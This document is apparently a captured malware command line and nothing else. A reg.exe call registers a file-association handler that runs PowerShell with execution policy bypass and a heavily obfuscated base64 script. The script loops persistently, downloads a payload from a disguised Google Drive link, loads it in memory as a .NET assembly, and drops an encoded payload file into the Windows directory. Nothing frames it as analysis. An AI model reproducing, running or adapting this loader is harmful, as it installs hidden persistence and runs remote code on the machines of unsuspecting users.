        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\.alecar\Shell\Open\command /d "C:\Users\Public\Music\SystemProcessHost.SystemProcesses powershell -exEC byPASs -enc JABrAG8AbQBpAG4AYQAgAD0AIAAoACcAQwBwADAAMAA5ADAAMwAyAFoAbQBrAEsAZwBmAFcAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIAbQBtAG4AdgBtAG4AZABvAHcAcwBcAGIAawBqAGgAZwA4ADkAOAA5ADUAMwBqAEgASABqAGgAagBIAEgASABEAGsAagBoAGcAOAA5ADgAOQA1ADMAagBIAEgAagBoAGoASABIAEgARAB0AHMAdABhAHQALgByAHIAcgBXAFcAVwAzAGoASABIAGoAaABqADQANAA0ADYANgAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBrAGoAaABnADgAOQA4ADkANQAzAGoASABIAGoAaABqAEgASABIAEQAJwAsACAAJwBvACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcgByAHIAVwBXAFcAMwBqAEgASABqAGgAagA0ADQANAA2ADYAJwAsACAAJwBzAHQAYQB0AHMAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBCAEMAWABYAEIATgBNADkAMAA2ADQAMABOAE0AQgBNAG4AYgBtAG0AbgB2AG0AJwAsACAAJwBpACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgAnACwAIAAnADoAXAAnACkAKQA7ACAAaQBmACAAKAAhACgAJgAoACcAVAAnACsAJwBlAHMAdAAtAFAAYQBUACcAKwAnAGgAJwApACAAJABrAG8AbQBpAG4AYQApACkAIAB7AHMAYwAgACQAawBvAG0AaQBuAGEAIAAtAFYAYQBsAHUAZQAgACIAdwBoAGkAbABlACgAYAAkAHQAcgB1AGUAKQB7AHQAcgB5AHsAaQBmACgALQBuAG8AdAAoAGcAcABzACAALQBOAGEAbQBlACAAKAAnAEkAbgBzAHQATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2AEwASwBzAHMAMgA0ADMAMAAwADAAeAB6AGMAQwBYAHYATABLAHMAcwAyADQAMwAwADAAMAB4AHoAYwBDAFgAdgBVAHQAaQBMAEsAcwBzADIANAAzADAAMAAwAHgAegBjAEMAWAB2ACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEwASwA1ADYAOQA4ADkAOAA1ADEAMQAwADAAMAB4AHoAYwBDAFgAdgAnACwAIAAnAGEAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBMAEsAcwBzADIANAAzADAAMAAwAHgAegBjAEMAWAB2ACcALAAgACcAbAAnACkAKQAgAC0AZQBhACAAcwBpAGwAZQBuAHQAbAB5AGMAbwBuAHQAaQBuAHUAZQApACkAewBbAEIAeQB0AGUAWwBdAF0AIABgACQAUABMAEEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZgByAHYAWABDAGMAegB4ADAAMAAwADEAMQA1ADgAOQA4ADkANgA1AEsATABlADYANABTAHQATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2AEcAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2ACcALAAgACcAcgBpAG4AJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwB2AFgAQwBjAHoAeAAwADAAMAAxADEANQA4ADkAOAA5ADYANQBLAEwAJwAsACAAJwBvAG0AQgBhAHMAJwApACkAKAAoACYAKAAnAG4AYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAHcALQBrAGoAaABnADgAOQA4ADkANQAzAGoASABIAGoAaABqAEgASABIAEQAYgBqAGIAOAA4ADQAOQA4ADUAMgBZAFkAcgB0AHQAcgA2ADYANwAzADQAVgBaAHgAYgBQAFAAaQBjAFQAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpACcALAAgACcAZQAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGsAagBoAGcAOAA5ADgAOQA1ADMAagBIAEgAagBoAGoASABIAEgARAAnACwAIAAnAE8AJwApACkAIAAoACcAbgBiADgAOAA0ADkAOAA1ADIAWQBZAHIAdAB0AHIANgA2ADcAMwA0AFYAWgB4AGIAUABQAGkAdAAuAFcAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAGIAQwBsAGkAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAG4AdAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBiADgAOAA0ADkAOAA1ADIAWQBZAHIAdAB0AHIANgA2ADcAMwA0AFYAWgB4AGIAUABQAGkAJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAawBqAGgAZwA4ADkAOAA5ADUAMwBqAEgASABqAGgAagBIAEgASABEACcALAAgACcATwAnACkAKQApAC4AKAAnAGQAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIAbQBtAG4AdgBtAHcAbgBsAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4ATQBCAE0AbgBiAG0AbQBuAHYAbQBhAGQAUwB0AGsAawA1ADYANAA4ADMAMgAxADkAOABRAFcAWQBZAEoAeQBqAFkAdwBxAE4AQgBjAEcAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIAbQBtAG4AdgBtACcALAAgACcAbwAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGsAawA1ADYANAA4ADMAMgAxADkAOABRAFcAWQBZAEoAeQBqAFkAdwBxAE4AQgBjACcALAAgACcAcgBpAG4AJwApACkAKAAnAGgASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAcABzADoALwAvAGQAcgBpAHYASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwAuAGcAbwBvAGcAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwAuAGMAbwBtAC8AdQBjAD8ASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwB4AHAAbwByAEgASABIAEQAOAA3AEgAdQBzAGYAdQBpAGkANwA4AHUAaQB4AGYAcwBkAD0AZABvAHcAbgBtAG4AbgB4AGMAdgB4AE4ATgBjAHgAagBkAGgAaABvAGEAZAAmAGkAZAA9ADEAYQBzAGEAZABIAEgASABEADgANwBIAHUAcwBmAHUAaQBpADcAOAB1AGkAeABmAHMAZAAtAF8ASgA0AHAAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgARgBRAEEAbQA0ADUASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAaABXAHYAeABmAC0AQwBJAHcAWgBvAHYATABOACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEkAVQBSAGEAdQBjADgAMgB3AGkAcwBmAG8AJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAJwAsACAAJwB0ACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgAJwAsACAAJwBsACcAKQApAC0AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwBBACcAKQAtAHIAZQBwAGwAYQBjAGUAKAAnACMAJwAsACcAVAAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgAoACcAYwB1AHIAcgBaAFgAQgA5ADkANQA0ADYAOQAwAGwAbgBiAHkAdAB5AHEAMgBxAHcAeAAzAHgAbgB0AEQAaQBpADMANQA0ADMAdgBiAGMAbQBCAFgAWgBJAHEAUQBEAFMAZABzAGkAcgBtAGEAaQBuACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAFoAWABCADkAOQA1ADQANgA5ADAAbABuAGIAeQB0AHkAcQAyAHEAdwB4ADMAeAAnACwAIAAnAGUAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBpAGkAMwA1ADQAMwB2AGIAYwBtAEIAWABaAEkAcQBRAEQAUwBkAHMAaQByACcALAAgACcAbwAnACkAKQAuACgAJwBsAGkAaQAzADUANAAzAHYAYgBjAG0AQgBYAFoASQBxAFEARABTAGQAcwBpAHIAYQBkACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGkAaQAzADUANAAzAHYAYgBjAG0AQgBYAFoASQBxAFEARABTAGQAcwBpAHIAJwAsACAAJwBvACcAKQApACgAYAAkAFAATABBACkALgAoACcAZwBSAFEAVwA3ADQAMwA4AEIAdQB2AHcAWgA5ADQAbQBLAGMAcAB0AHQAeQBQAFIAUQBXADcANAAzADgAQgB1AHYAdwBaADkANABtAEsAYwBwACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAFIAUQBXADcANAAzADgAQgB1AHYAdwBaADkANABtAEsAYwBwACcALAAgACcAZQAnACkAKQAoACcAQwBsAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHMAcwBMAGkAYgByAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHIAeQAzAC4AQwBsAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHMAcwAxACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEwAUABPADkAagBiAHYAOQBNAE4AbwBpACcALAAgACcAYQAnACkAKQAuACgAJwBnAEsAOQA0ADgAMwA0AHkAdABTAFMAdwA3ADgAMgAxAFoAWgB6AFkANAAzAHcAdABNAEsAOQA0ADgAMwA0AHkAdABTAFMAdwA3ADgAMgAxAFoAWgB6AFkANAAzAHcAdABoAE8ARAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBLADkANAA4ADMANAB5AHQAUwBTAHcANwA4ADIAMQBaAFoAegBZADQAMwB3ACcALAAgACcAZQAnACkAKQAoACcAUgB1AG4AJwApAC4AKAAnAEIAdQAzADkAOAA5AFAAUABaADIAOQA0ADkAVABSAFEAcwBvAGsAZQAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBCAHUAMwA5ADgAOQBQAFAAWgAyADkANAA5AFQAUgBRAHMAJwAsACAAJwBpAE4AdgAnACkAKQAoAGAAJABuAHUAbABsACwAWwBvAGIAagBlAGMAdABbAF0AXQAoACcAYQBNAHEAQgBVAF8AYgBBAEoAWgByAGcAdABRADkAcgBMADkAVwBmAGcATwBWAEYAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBDAHgAdwBqAHQAYgBEADEAPQBkAFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXACYAZABhAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAbABuAHcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBkAD0AdAByAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAB4AEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4APwBjAHUALwBtAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAYwAuAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AbABnAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBnAC4AQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgB2AFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXAHIAZAA1ADMAMgBCAHQAeQA1ADIAMQBRAHgAegBiAHYAaAB5AGcAQgB0AGgAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcANQAzADIAQgB0AHkANQAyADEAUQB4AHoAYgB2AGgAeQBnAEIAJwAsACAAJwAvAC8AOgBzAHAAdAAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgAnACwAIAAnAG8AJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBQADMANAAyADgAWgB2AGMAeABYAHcAVwBxAHcAVwAnACwAIAAnAGkAJwApACkAKQB9AH0AYwBhAHQAYwBoAHsAcwBsAGUAZQBwACAALQBzACAAMwAwADAAfQB9AHMAbABlAGUAcAAgAC0AcwAgADMAIgB9ADsAJABwAGUAcgBzAGkAZABhAD0AKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0AG4AZAB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0AHcAcwBcAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAuAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnACwAIAAnAGUAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0ACcALAAgACcAbwAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0ACcALAAgACcAQwA6AFwAVwBpACcAKQApADsAaQBmACAAKAAhACgAJgAoACcAVAAnACsAJwBlAHMAdAAtAFAAYQBUACcAKwAnAGgAJwApACAAJABwAGUAcgBzAGkAZABhACkAKQB7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6ACgAJwBXAHIAaQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AEEAbABsAEIAeQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AHMAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAJwAsACAAJwBlACcAKQApACgAJABwAGUAcgBzAGkAZABhACwAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcARgByAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAbQBCAGEAcwB3ADIARABZADgAdQBsADQAZABWAHMAcQBWAHAANAAwAGkAbgBnACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAJwAsACAAJwBvACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAdwAyAEQAWQA4AHUAbAA0AGQAVgBzAHEAVgBwADQAMAAnACwAIAAnAGUANgA0AFMAdAByACcAKQApACgAJwAUAVYAcQBRAIkBiQFNAIkBiQGJAYkBRQCJAYkBiQGJAS8ALwA4AIkBiQFMAGcAiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBZwCJAYkBiQGJAYkBNABmAHUAZwA0AIkBdACJAW4ATgBJAGIAZwBCABQBTQAwAGgAVgBHAGgAcABjAHkAQgB3AGMAbQA5AG4AYwBtAEYAdABJAEcATgBoAGIAbQA1AHYAZABDAEIAaQBaAFMAQgB5AGQAVwA0AGcAYQBXADQAZwBSAEUAOQAUAUkARwAxAHYAWgBHAFUAdQBEAFEAMABLAEoAiQGJAYkBiQGJAYkBiQGJAYkBQgBRAFIAUQCJAYkBFAGJAUUARACJAUUAZABFAGgARwBRAIkBiQGJAYkBiQGJAYkBiQGJAYkBTwCJAYkBiQFnAEUATACJAVEAcwCJAYkBiQFvAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBRABpAGcAiQGJAYkBiQFnAIkBiQGJAYkBUQCJAYkBiQGJAYkBQgCJAYkBiQGJAWcAiQGJAYkBiQGJAWcAiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQGJAYkBiQGJAYkBiQGJAYkBQwCJAYkBiQGJAYkBiQFnAIkBiQGJAYkBiQGJAYkBiQFJAIkBUQBJAFUAiQGJAUIAiQGJAYkBQgCJAYkBiQGJAYkBiQFFAIkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBTABRAG4AiQGJAUIAWACJAYkBiQGJAYkBRQCJAYkBiQFJAGcARgCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUcAiQGJAYkBiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUkAiQGJAYkBQwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAEMAiQGJAYkBRQBnAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDADUAMABaAFgAaAAwAIkBiQGJAYkBRgCJAWcAiQGJAYkBiQFnAIkBiQGJAYkBQwBnAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAIkBiQGJAUcAiQF1AGMAbgBOAHkAWQB3AIkBiQGJAUkAZwBGAIkBiQGJAYkBUQCJAYkBiQGJAYkBWQCJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAYkBiQFCAIkBTABuAEoAbABiAEcAOQBqAIkBiQGJAU0AiQGJAYkBiQGJAUcAiQGJAYkBiQGJAUMAiQGJAYkBiQFFAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQFRAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUQAdwBKAHcAiQGJAYkBiQGJAYkBiQFFAGcAiQGJAYkBiQFDAIkBiQFVAIkBTgBDAEUAiQGJAUkAiQFHAIkBiQGJAUIAiQGJAYkBiQGJAVEAiQGJAUIAZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFCAHMAdwCJAXcARABIAIkBiQGJAYkBiQFRAIkBiQFFAFEAiQFDAGoAbQBrAFgALwBnAEUAVwAvAGcARQAUAUIAaABFAEcATwByAE0AiQGJAYkBiQGJAYkBaABhAGEAQwBpAGcARQCJAYkBiQFLAEMAdwBkAHYAQgBRAIkBiQFDAGcAiQFIAGIAdwBZAIkBiQGJAW8ATQBDAEcAOABIAIkBiQGJAUsAQgBtADgASQCJAYkBiQFLAIkBiQFkAHYAQwBRAIkBiQFDAG4ASQBCAIkBiQFCAHcARgBZAHcASwCJAYkBiQFCAGIAdwBvAIkBiQGJAW8AiQFDAEcAOABIAIkBiQGJAUsAYwBpADgAiQGJAUgAQgB2AEMAdwCJAYkBQwBnAIkBSQBiAHcAdwCJAYkBiQFvAE4AQgAyADgATgCJAYkBiQFLAIkBSABNAE8AiQGJAYkBSwBFAHcAUQCJAUMAVwA4AFAAiQGJAYkBSwBFAHcAYwByAEcAaABFAEgAYgB4AIkBiQGJAYkBbwAUAUIAUQCJAVIAQgBCAEUARgBiAHgARQCJAYkBiQFwAHYARQBnAIkBiQFDAGkAWQCJAUUAUQBkAHYARQB3AIkBiQFDAGgATQBHAEUAUQBZAHQAMgBkADQAVQBFAFEAYwBVAC8AZwBFABQBQgBoAEUARwBMAFEAZwBSAEIAMgA4AFUAiQGJAYkBSwCJAU4AdwCJAUsAQgBVAIkBiQGJAW8AiQGJAUMAbwCJAYkBUgCJAYkBiQGJAUkAiQFmAHcAiQFyAHEAZwCJAVUAiQGJAYkBiQGJAUUASgAUAVMAawBJAEIAiQGJAUUAiQGJAYkBiQGJAYkBiQF3AIkBiQGJAUIAMgBOAEMANAB3AEwAagBNAHcATQB6AEUANQCJAYkBiQGJAYkBiQFVAIkBYgCJAYkBiQGJAU4AiQFCAIkBiQGJAWoAZgBnAIkBiQFQAIkBSQCJAYkBQwB3AEQAiQGJAYkBagBVADMAUgB5AGEAVwA1AG4AYwB3AIkBiQGJAYkBQgBvAEIAUQCJAYkBUwCJAYkBiQGJAUMATgBWAFUAdwBDAHcAQgBRAIkBiQFFAIkBiQGJAYkBQwBOAEgAVgBVAGwARQCJAYkBiQGJAXcAiQFVAIkBiQFNAIkBiQGJAYkBiQFqAFEAbQB4AHYAWQBnAIkBiQGJAYkBiQGJAYkBiQGJAUMAiQGJAYkBQgBSAHgAVQBDAEMAiQFrAIkBiQGJAYkBiQErAGkAVQB6AIkBQgBZAIkBiQGJAUUAiQGJAYkBiQFSAIkBiQGJAYkBiQFnAIkBiQGJAYkBRQCJAYkBiQGJAUIAiQGJAYkBiQFGAFEAiQGJAYkBiQFNAIkBiQGJAYkBQgCJAYkBiQGJAYkBZwCJAYkBiQGJAUUAiQGJAYkBiQFEAIkBiQGJAYkBiQGJAYkBSwCJAYkBRQCJAYkBiQGJAYkBiQGJAVkAiQFiAIkBQgBsAIkBiQFZAIkBbgBRAEIAOQCJAYkBWQCJAXcAdwBCADkAiQGJAVkAiQFGAIkBRgBsAIkBiQFvAIkBYQB3AEYARQCJAVEAbwCJAWUAdwBGAEUAiQFRAG8AiQFtAIkBRgBFAIkBUQBvAIkBcwCJAUYARQCJAVEAbwCJATIAUQBGAEUAiQFRAFkAiQGJAVEASgBsAIkBiQFZAIkBTgBnAEkAWACJAWcAbwCJAVEAdwBJAG4AiQFRAFkAiQFaAFEASgBaAIkBZwBZAIkBagBnAEoAegCJAWcAWQCJATMAUQBMAEsAiQFnAFkAiQE4AGcASgBsAIkBiQE0AIkBRwB3AE0ARwCJAXcAiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQFCAIkBiQFFAIkBZwCJAUUAUQCJAUUARQCJAVMAUQCJAUYAiQGJAUUAiQGJAVEAQgBRAEkAiQGJAYkBiQGJAUMAUgCJAUgATQCJAUMAZwCJAUIAiQGJAYkBiQGJAVEAQgA0AIkBQgBFAIkBdgBRAIkBUQCJAUIAawCJAXYAUQCJAVYAiQFDAEUAiQF2AFEAiQFWAIkBQwBrAIkBaACJAUUAbgCJAUQARQCJAWsAdwBFAFYAiQFEAEUAiQFvAFEARQBzAIkBRABrAIkBdwBnAEUAeACJAUUARQCJAXoAdwBFADIAiQFEAEUAiQE2AHcARQA3AIkBRQBrAIkBQgB3AEoAiQGJAUUARQCJAUUAdwBJADIAiQFEAGsAiQEUAYkBSgBHAIkBRABFAIkBVQB3AEkAVgCJAUcAawCJAXYAUQCJAVYAiQGJAXcAiQFuAIkBSgBXAIkBQgBRAIkBcQBnAEoAbQCJAYkBawCJAXQAZwBKAHIAiQFHAGsAiQF2AHcASgB2AIkBSABrAIkBNgBRAEoAMQCJAUkARQCJAS8AZwBJAFYAiQFJAGsAiQFKAHcATgA1AIkBQwCJAYkBRwB3AIkBWgCJAUMANACJAUMAdwBDAFcAiQFDADQAiQFFAHcAQwBmAIkBSAAwAIkBFAF3AEIAZgCJAYkBUwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAU8ARQCJAYkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAUYAdwCJAYkBiQGJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIANACJAUoAdwBFAIkBiQGJAYkBiQFCAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAUcAiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQFEAHgATgBiADIAUgAxAGIARwBVACsAiQFHAGcAMgBNAFUASgBXAGUAVwAxAGkAYwBHAHAAbQBZAHoAUgBPAGMAegBkAFcATgBYAEYARgBiADMAWgBqAFoAagBoAHYAVgBrADQAMwAUAWoAVgBWAGMAVQBkADAATQBYAEIATwBaAEcAawAzAFIAagBFADQAUwBIAEoAaABjADAAeAB3AEwAbQBWADQAWgBRAEIAUQBjAG0AOQBuAGMAbQBGAHQAiQFFAEoAcgBaAEcAZAB6AE4AMQBVAHkATwBEAGwAcQBhAEYATgBHAFoAMwBOAGsAYQCJAUIAdABjADIATgB2AGMAbQB4AHAAWQBnAEIAFAFlAFgATgAwAFoAVwAwAIkBFAEyAEoAcQBaAFcATgAwAIkBRQAxAGgAYQBXADQAiQFZAFgASgBuAGMAdwBCABQBZQBYAE4AMABaAFcAMAB1AFUAbgBWAHUAZABHAGwAdABaAFMANQBEAGIAMgAxAHcAYQBXAHgAbABjAGwATgBsAGMAbgBaAHAAWQAyAFYAegCJAUUATgB2AGIAWABCAHAAYgBHAEYAMABhAFcAOQB1AFUAbQBWAHMAWQBYAGgAaABkAEcAbAB2AGIAbgBOAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBTABtAE4AMABiADMASQCJAVUAbgBWAHUAZABHAGwAdABaAFUATgB2AGIAWABCAGgAZABHAGwAaQBhAFcAeABwAGQASABsAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBYQBEAFkAeABRAGwAWgA1AGIAVwBKAHcAYQBtAFoAagBOAEUANQB6AE4AMQBZADEAYwBVAFYAdgBkAG0ATgBtAE8ARwA5AFcAFAFqAGQATwBOAFYAVgB4AFIAMwBRAHgAYwBFADUAawBhABQBZABHAE0AFAFoAEkAYwBtAEYAegAUAUgAiQGJAVUAMQBSAEIAVgBHAGgAeQBaAFcARgBrAFEAWABSADAAYwBtAGwAaQBkAFgAUgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBOAFkAVwA1AGgAWgAyAFYAdABaAFcANQAwAEwAawBGADEAZABHADkAdABZAFgAUgBwAGIAMgA0AIkBVQAzAGwAegBkAEcAVgB0AEwAawAxAGgAYgBtAEYAbgBaAFcAMQBsAGIAbgBRAHUAUQBYAFYAMABiADIAMQBoAGQARwBsAHYAYgBpADUAUwBkAFcANQB6AGMARwBGAGoAWgBYAE0AiQFVAG4AVgB1AGMAMwBCAGgAWQAyAFYARwBZAFcATgAwAGIAMwBKADUAiQFGAEoAMQBiAG4ATgB3AFkAVwBOAGwAiQFFAE4AeQBaAFcARgAwAFoAVgBKADEAYgBuAE4AdwBZAFcATgBsAIkBRQA5AHcAWgBXADQAiQFVAEcAbAB3AFoAVwB4AHAAYgBtAFUAiQFRADMASgBsAFkAWABSAGwAVQBHAGwAdwBaAFcAeABwAGIAbQBVAIkBUQAyADkAdABiAFcARgB1AFoARQBOAHYAYgBHAHg